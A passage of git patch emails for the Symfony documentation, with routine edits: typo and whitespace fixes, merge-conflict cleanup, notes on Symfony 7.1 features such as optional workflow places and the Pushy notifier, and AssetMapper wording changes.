index 094d8af4c35..209b9c05a01 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -79,7 +79,6 @@ Symfony ships with the following value resolvers in the
 
         The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
 
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestPayloadValueResolver`
     Maps the request payload or the query string into the type-hinted object.
 
diff --git a/messenger.rst b/messenger.rst
index 98238aae6c0..6a67dfd2778 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1191,7 +1191,6 @@ to retry them:
 
     The ``--all`` option was introduced in Symfony 6.4.
 
-
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
diff --git a/migration.rst b/migration.rst
index 16fa43fa281..44485248545 100644
--- a/migration.rst
+++ b/migration.rst
@@ -340,7 +340,6 @@ somewhat like this::
             throw new \Exception("Unhandled legacy mapping for $requestPathInfo");
         }
 
-
         public static function handleRequest(Request $request, Response $response, string $publicDirectory): void
         {
             $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index ce61a92389e..154ef86f21f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -495,7 +495,6 @@ user logs out::
                         ->domain('example.com');
         };
 
-
 clear_site_data
 ...............
 
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 1f5631abc95..6d8a9fc0f31 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -95,7 +95,6 @@ Options
 
 **type**: ``array`` | ``string``
 
-
 .. versionadded:: 6.1
 
     The ``fields`` option was introduced in Symfony 6.1.
diff --git a/serializer.rst b/serializer.rst
index 113b7ef4609..e379a630250 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -555,7 +555,6 @@ given class:
 
     The debug:serializer`` command was introduced in Symfony 6.3.
 
-
 Going Further with the Serializer
 ---------------------------------
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 6be72ec34fd..124e2f38b8a 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -93,7 +93,6 @@ is called.
     All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
-<<<<<<< HEAD
 .. deprecated:: 6.3
 
     The :class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
@@ -156,6 +155,4 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
     The ``supports*()`` method implementations should not assume that
     ``getSupportedTypes()`` has been called before.
 
-=======
->>>>>>> 5.4
 .. _`API Platform`: https://api-platform.com
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 09bbbd8befa..1ead79b71f1 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -282,7 +282,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
         // ...
     }
 
-
 .. versionadded:: 6.2
 
     All workflows and state machines services are tagged since in Symfony 6.2.

From 91d8296e948cce1ce4a11cb2d63cf31a1750fba4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 9 Feb 2024 19:31:40 +0100
Subject: [PATCH 4453/5766] [Config] Allow custom meta location in ConfigCache

---
 components/config/caching.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/config/caching.rst b/components/config/caching.rst
index 810db48107e..18620c0d8cf 100644
--- a/components/config/caching.rst
+++ b/components/config/caching.rst
@@ -55,3 +55,17 @@ the cache file itself. This ``.meta`` file contains the serialized resources,
 whose timestamps are used to determine if the cache is still fresh. When
 not in debug mode, the cache is considered to be "fresh" as soon as it exists,
 and therefore no ``.meta`` file will be generated.
+
+You can explicitly define the absolute path to the meta file::
+
+    use Symfony\Component\Config\ConfigCache;
+    use Symfony\Component\Config\Resource\FileResource;
+
+    $cachePath = __DIR__.'/cache/appUserMatcher.php';
+
+    // the third optional argument indicates the absolute path to the meta file
+    $userMatcherCache = new ConfigCache($cachePath, true, '/my/absolute/path/to/cache.meta');
+
+.. versionadded:: 7.1
+
+    The argument to customize the meta file path was introduced in Symfony 7.1.

From 9b1c4b92aef0941583a67ec3b062f3510e3cd70b Mon Sep 17 00:00:00 2001
From: gokakyu <vcs.cellier.florian.283@gmail.com>
Date: Sun, 11 Feb 2024 17:15:22 +0100
Subject: [PATCH 4454/5766] [Container] Missing link RST link begin

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 097cdcd5a60..551ea6f9c8e 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1298,7 +1298,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 ``SiteUpdateManager`` the first (``site_update_manager.superadmin``) will be passed.
 
 If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
-or to create a named ref:`autowiring alias <autowiring-alias>`.
+or to create a named :ref:`autowiring alias <autowiring-alias>`.
 
 .. caution::
 

From 1867345b8d9aa46380231b0c681fd870ab418cf9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 12 Feb 2024 20:18:32 +0100
Subject: [PATCH 4455/5766] [AssetMapper] Minor

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 345973332a0..6f7eb4309cb 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1047,8 +1047,8 @@ both ``app`` and ``checkout``:
 
     {# templates/products/checkout.html.twig #}
     {#
-        Override an "importmap" block in base.html.twig.
-        If you don't have this, add it around the {{ importmap('app') }} call.
+        Override an "importmap" block from base.html.twig.
+        If you don't have that block, add it around the {{ importmap('app') }} call.
     #}
     {% block importmap %}
         {# do NOT call parent() #}

From 4a4a6fe9a5ac2f0143c7c4399085a144b420b1f0 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 12 Feb 2024 22:42:55 +0100
Subject: [PATCH 4456/5766] Formatting typo

---
 reference/constraints/UniqueEntity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index fc6fccb18f6..44ea1c7d5bc 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -297,7 +297,7 @@ the combination value is unique (e.g. two users could have the same email,
 as long as they don't have the same name also).
 
 If you need to require two fields to be individually unique (e.g. a unique
-``email`` *and* a unique ``username``), you use two ``UniqueEntity`` entries,
+``email`` and a unique ``username``), you use two ``UniqueEntity`` entries,
 each with a single field.
 
 .. include:: /reference/constraints/_groups-option.rst.inc

From f4d9b2c595d23b936541770c471d3631881f740e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 12 Feb 2024 19:13:01 +0100
Subject: [PATCH 4457/5766] Minor: remove duplicated lines

---
 components/dependency_injection.rst     |  1 -
 migration.rst                           |  1 -
 reference/configuration/framework.rst   | 26 -------------------------
 reference/configuration/security.rst    |  1 -
 reference/constraints/Unique.rst        |  1 -
 workflow/workflow-and-state-machine.rst |  1 -
 6 files changed, 31 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 79b35bf312e..93e8af711cf 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -178,7 +178,6 @@ You can override this behavior as follows::
     // the second argument is optional and defines what to do when the service doesn't exist
     $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
 
-
 These are all the possible behaviors:
 
  * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
diff --git a/migration.rst b/migration.rst
index 16fa43fa281..44485248545 100644
--- a/migration.rst
+++ b/migration.rst
@@ -340,7 +340,6 @@ somewhat like this::
             throw new \Exception("Unhandled legacy mapping for $requestPathInfo");
         }
 
-
         public static function handleRequest(Request $request, Response $response, string $publicDirectory): void
         {
             $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2491b94de5f..23975913173 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2847,32 +2847,6 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
-secrets
-~~~~~~~
-
-decryption_env_var
-..................
-
-**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
-
-The environment variable that contains the decryption key.
-
-local_dotenv_file
-.................
-
-**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
-
-Path to an dotenv file that holds secrets. This is primarily used for testing.
-
-vault_directory
-...............
-
-**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.environment%``
-
-The directory where the vault of secrets is stored.
-
-.. _configuration-framework-serializer:
-
 serializer
 ~~~~~~~~~~
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 64a16c7d616..590f2472425 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -495,7 +495,6 @@ user logs out::
                         ->domain('example.com');
         };
 
-
 clear_site_data
 ...............
 
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index c7ee71329c4..8954f455086 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -95,7 +95,6 @@ Options
 
 **type**: ``array`` | ``string``
 
-
 This is defines the key or keys in a collection that should be checked for
 uniqueness. By default, all collection keys are checked for uniqueness.
 
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index e72b50f8d1e..c94214fc22f 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -282,7 +282,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
         // ...
     }
 
-
 Automatic and Manual Validation
 -------------------------------
 

From 77c49b3fef00aa7b9f5df6d2ec88b4faaf6a38ed Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Feb 2024 11:44:48 +0100
Subject: [PATCH 4458/5766] [Workflow] Support omitting `places` option

---
 workflow.rst                            | 17 ++++++++++++++++-
 workflow/workflow-and-state-machine.rst | 11 +++++++++++
 2 files changed, 27 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 99d23cdcfae..7e45c7693c1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -60,7 +60,7 @@ follows:
                     supports:
                         - App\Entity\BlogPost
                     initial_marking: draft
-                    places:
+                    places:          # defining places manually is optional
                         - draft
                         - reviewed
                         - rejected
@@ -97,10 +97,13 @@ follows:
                     </framework:marking-store>
                     <framework:support>App\Entity\BlogPost</framework:support>
                     <framework:initial-marking>draft</framework:initial-marking>
+
+                    <!-- defining places manually is optional -->
                     <framework:place>draft</framework:place>
                     <framework:place>reviewed</framework:place>
                     <framework:place>rejected</framework:place>
                     <framework:place>published</framework:place>
+
                     <framework:transition name="to_review">
                         <framework:from>draft</framework:from>
                         <framework:to>reviewed</framework:to>
@@ -135,6 +138,7 @@ follows:
                 ->type('method')
                 ->property('currentPlace');
 
+            // defining places manually is optional
             $blogPublishing->place()->name('draft');
             $blogPublishing->place()->name('reviewed');
             $blogPublishing->place()->name('rejected');
@@ -168,6 +172,17 @@ follows:
     ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
     instead of ``'to_review'``.
 
+.. tip::
+
+    You can omit the ``places`` option if your transitions define all the places
+    that are used in the workflow. Symfony will automatically extract the places
+    from the transitions.
+
+    .. versionadded:: 7.1
+
+        The support for omitting the ``places`` option was introduced in
+        Symfony 7.1.
+
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index e72b50f8d1e..04abf590f2f 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -252,6 +252,17 @@ Below is the configuration for the pull request state machine.
                     ->to(['review']);
         };
 
+.. tip::
+
+    You can omit the ``places`` option if your transitions define all the places
+    that are used in the workflow. Symfony will automatically extract the places
+    from the transitions.
+
+    .. versionadded:: 7.1
+
+        The support for omitting the ``places`` option was introduced in
+        Symfony 7.1.
+
 Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`)
 or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you
 have defined in your configuration. You can use the workflow inside a class by using

From 36123b8d5bb941447606c36f83ce8ff3b4c9d315 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Feb 2024 11:47:48 +0100
Subject: [PATCH 4459/5766] [Security] Remove duplicated line

---
 security.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/security.rst b/security.rst
index 5b7a0c6dd20..36bed55587e 100644
--- a/security.rst
+++ b/security.rst
@@ -635,9 +635,6 @@ are public). On the other hand, all pages that you want to be *aware* of a logge
 user have to be under the same firewall. So if you want to display a *"You are logged in
 as ..."* message on every page, they all have to be included in the same firewall.
 
-The same firewall can have many modes of authentication. In other words, it
-enables many ways to ask the question *"Who are you?"*.
-
 You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control
 <security-access-control>` section.

From 8be8799fd54df4365e419ae91c3fe72db1701091 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 14 Feb 2024 11:46:00 +0100
Subject: [PATCH 4460/5766] Revert "[AssetMapper] Fixing path"

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 6f7eb4309cb..110a14d69e0 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -875,7 +875,7 @@ file:
         asset_mapper:
             paths:
                 - assets/
-                - vendor/babdev/pagerfanta-bundle/Resources/public/css/
+                - vendor/some/package/assets
 
 Then try the command again.
 

From 9c02a1f572b5d0c8bb951994cb2c828da9870919 Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Mon, 8 Jan 2024 13:32:30 +0100
Subject: [PATCH 4461/5766] [DotEnv] Update configuration.rst

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 37e341179ee..56bc30fcf4c 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1076,7 +1076,7 @@ already existing ``.env`` files).
         # .env (or .env.local)
         APP_ENV=prod
 
-        # .env.prod (or .env.local.prod) - this will fallback on the loaders you defined
+        # .env.prod (or .env.prod.local) - this will fallback on the loaders you defined
         APP_ENV=
 
 .. _configuration-accessing-parameters:

From e1203e74eebfad066a7acef86781608999d0e9e5 Mon Sep 17 00:00:00 2001
From: Joseph Bielawski <stloyd@users.noreply.github.com>
Date: Wed, 14 Feb 2024 10:29:01 +0100
Subject: [PATCH 4462/5766] [Notifier] Add Pushy docs

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 774294c3577..4e16edaf039 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -453,11 +453,16 @@ Service          Package                               DSN
 `OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 `PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
+`Pushy`_         ``symfony/pushy-notifier``            ``pushy://API_KEY@default``
 ===============  ====================================  ==============================================================================
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
+.. versionadded:: 7.1
+
+    The `Pushy`_ integration was introduced in Symfony 7.1.
+
 .. code-block:: bash
 
     # .env
@@ -1019,6 +1024,7 @@ is dispatched. Listeners receive a
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
+.. _`Pushy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushy/README.md
 .. _`Redlink`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Redlink/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md

From 7efbac1a463c5faf43d91ba0bfcf366dfb2e4e17 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 15 Feb 2024 20:26:36 +0100
Subject: [PATCH 4463/5766] -

---
 mailer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index afc53f8027b..02c09295319 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1430,7 +1430,6 @@ you have a transport called ``async``, you can route the message there:
                 ->senders(['async']);
         };
 
-<<<<<<< HEAD
 Thanks to this, instead of being delivered immediately, messages will be sent
 to the transport to be handled later (see :ref:`messenger-worker`). Note that
 the "rendering" of the email (computed headers, body rendering, ...) is also
@@ -1463,10 +1462,6 @@ render the email before calling ``$mailer->send($email)``::
 
         $mailer->send($email);
     }
-=======
-Thanks to this, instead of being delivered immediately, messages will be sent to
-the transport to be handled later (see :ref:`messenger-worker`).
->>>>>>> 5.4
 
 You can configure which bus is used to dispatch the message using the ``message_bus`` option.
 You can also set this to ``false`` to call the Mailer transport directly and

From 5ea2f9b4feda390c9945ffc225d3cf265a16df5f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 15 Feb 2024 20:28:57 +0100
Subject: [PATCH 4464/5766] -

---
 serializer/custom_encoders.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 24bf174fb6c..d6cf3a72015 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -46,13 +46,6 @@ create your own encoder that uses the
         }
     }
 
-.. tip::
-
-    If you need access to ``$context`` in your ``supportsDecoding`` or
-    ``supportsEncoding`` method, make sure to implement
-    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
-    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
-
 Registering it in your app
 --------------------------
 

From c9b28f5982469f06840a5038a9d7003a4df1ef6f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 15 Feb 2024 21:40:47 +0100
Subject: [PATCH 4465/5766] [AssetMapper] Adding infos to be forwarded to
 package maintainers in case of error

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#importing-3rd-party-javascript-packages

Closes https://github.com/symfony/symfony-docs/issues/19558
---
 frontend/asset_mapper.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..2df223a779a 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -188,6 +188,11 @@ to add any `npm package`_:
 
     $ php bin/console importmap:require bootstrap
 
+.. note::
+
+    If you're getting a 404 error, you can contact the package maintainer and ask them to
+    include `"main":` and `"module":` to the package's `package.json`.
+
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php
@@ -207,6 +212,8 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
     such as ``@popperjs/core``. The ``importmap:require`` command will add both the
     main package *and* its dependencies. If a package includes a main CSS file,
     that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`).
+    If the associated CSS file isn't added to the importmap, you can contact the package
+    maintainer and ask them to include `"style":` to the package's `package.json`.
 
 Now you can import the ``bootstrap`` package like usual:
 

From 6b5c537af8d9a659d4a3c9c5666b7c4ed782ffde Mon Sep 17 00:00:00 2001
From: Tony Tran <tonytran@free.fr>
Date: Fri, 16 Feb 2024 09:33:41 +0100
Subject: [PATCH 4466/5766] [Testing] Change PHPUnit URLs

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index b8f3fd1bebe..079f05eced3 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1189,8 +1189,8 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://docs.phpunit.de/
-.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.3/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.3/configuration.html
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html

From 237770bd65362d9021d453ffe6b98c59156694de Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Feb 2024 11:59:51 +0100
Subject: [PATCH 4467/5766] [AssetMapper] Changing the example file away from
 `.css`

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html

Reason: `<link>` for CSS is included in `{{ importmap() }}`, so you usually don't have to call `{{ asset() }}` on a CSS.
---
 frontend/asset_mapper.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..f467fd740f2 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -14,9 +14,9 @@ is a light layer that helps serve your files directly to the browser.
 The component has two main features:
 
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
-  are made available publicly and **versioned**. You can reference
-  ``assets/styles/app.css`` in a template with ``{{ asset('styles/app.css') }}``.
-  The final URL will include a version hash, like ``/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css``.
+  are made available publicly and **versioned**. You can reference the file
+  ``assets/images/product.jpeg`` in a Twig template with ``{{ asset('images/product.jpeg') }}``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpeg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)

From 5373d6b9c23a47e889b483464b4e52e9407dd794 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Feb 2024 12:16:13 +0100
Subject: [PATCH 4468/5766] [AssetMapper] Minor

"update" is somewhat unclear here - might be misunderstood as "refresh in the browser"
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..bce49727a5d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -74,8 +74,8 @@ The path - ``images/duck.png`` - is relative to your mapped directory (``assets/
 This is known as the **logical path** to your asset.
 
 If you look at the HTML in your page, the URL will be something
-like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you update
-the file, the version part of the URL will change automatically!
+like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
+the file, the version part of the URL will also change automatically.
 
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 690ca73e726b59c29ed19dbffc6276b7c6760418 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Feb 2024 12:25:08 +0100
Subject: [PATCH 4469/5766] [AssetMapper] Minor

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..83771867179 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -167,8 +167,8 @@ this section, the ``assets/app.js`` file is loaded & executed by the browser.
 
 .. tip::
 
-    When importing relative files, be sure to include the ``.js`` extension.
-    Unlike in Node, the extension is required in the browser environment.
+    When importing relative files, be sure to include the ``.js`` filename extension.
+    Unlike in Node.js, this extension is required in the browser environment.
 
 Importing 3rd Party JavaScript Packages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 9ecec6edf9d5c994172bc5bfec84da9c64e26484 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Feb 2024 13:20:11 +0100
Subject: [PATCH 4470/5766] [Best Practices] Recommend AssetMapper instead of
 Webpack Encore

---
 best_practices.rst | 16 +++++++---------
 1 file changed, 7 insertions(+), 9 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 6541ac3ed02..afc72774ad9 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -376,17 +376,15 @@ inside the ``#[Security]`` attribute.
 Web Assets
 ----------
 
-Use Webpack Encore to Process Web Assets
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _use-webpack-encore-to-process-web-assets:
 
-Web assets are things like CSS, JavaScript, and image files that make the
-frontend of your site look and work great. `Webpack`_ is the leading JavaScript
-module bundler that compiles, transforms and packages assets for usage in a browser.
+Use AssetMapper to Manage Web Assets
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-:doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
-of Webpack complexity without hiding any of its features or distorting its usage
-and philosophy. It was created for Symfony applications, but it works
-for any application using any technology.
+Web assets are the CSS, JavaScript, and image files that make the frontend of
+your site look and work great. :doc:`AssetMapper </frontend/asset_mapper>` lets
+you write modern JavaScript and CSS without the complexity of using a bundler
+such as `Webpack`_ (directly or via :doc:`Webpack Encore </frontend/encore/index>`).
 
 Tests
 -----

From 95fec6eb857cf5a16ee2871a0e168eed70b05b7f Mon Sep 17 00:00:00 2001
From: Jan Rosier <rosier@interstroom.nl>
Date: Sat, 17 Feb 2024 19:42:13 +0100
Subject: [PATCH 4471/5766] Remove function getSalt() from security user class

---
 security.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/security.rst b/security.rst
index 36bed55587e..a2f6255105c 100644
--- a/security.rst
+++ b/security.rst
@@ -193,17 +193,6 @@ from the `MakerBundle`_:
             return $this;
         }
 
-        /**
-         * Returning a salt is only needed if you are not using a modern
-         * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
-         *
-         * @see UserInterface
-         */
-        public function getSalt(): ?string
-        {
-            return null;
-        }
-
         /**
          * @see UserInterface
          */

From 67eff99771756e5e90540362aa2fe5b8786ea9e1 Mon Sep 17 00:00:00 2001
From: Jenne van der Meer <jennevdmeer@impulze.net>
Date: Mon, 19 Feb 2024 00:54:34 -0800
Subject: [PATCH 4472/5766] [Forms] Use regular JavaScript functions in the
 examples

---
 form/form_collections.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e3869f124b6..ff4dd4794b1 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -314,7 +314,7 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
 
 .. code-block:: javascript
 
-    const addFormToCollection = (e) => {
+    function addFormToCollection(e) {
       const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
       const item = document.createElement('li');
@@ -579,7 +579,8 @@ on the server. In order for this to work in an HTML form, you must remove
 the DOM element for the collection item to be removed, before submitting
 the form.
 
-First, add a "delete this tag" link to each tag form:
+In our JavaScript, we first need add a "delete" button to each existing tag on the page.
+Then, we append the "add delete button" method in the function that adds the new tags.
 
 .. code-block:: javascript
 
@@ -591,7 +592,7 @@ First, add a "delete this tag" link to each tag form:
 
     // ... the rest of the block from above
 
-    const addFormToCollection = (e) => {
+    function addFormToCollection(e) {
         // ...
 
         // add a delete link to the new form
@@ -602,7 +603,7 @@ The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    const addTagFormDeleteLink = (item) => {
+    function addTagFormDeleteLink(item) {
         const removeFormButton = document.createElement('button');
         removeFormButton.innerText = 'Delete this tag';
 

From 91c545f5b0daa91728e46b145966ad0dfd22532d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
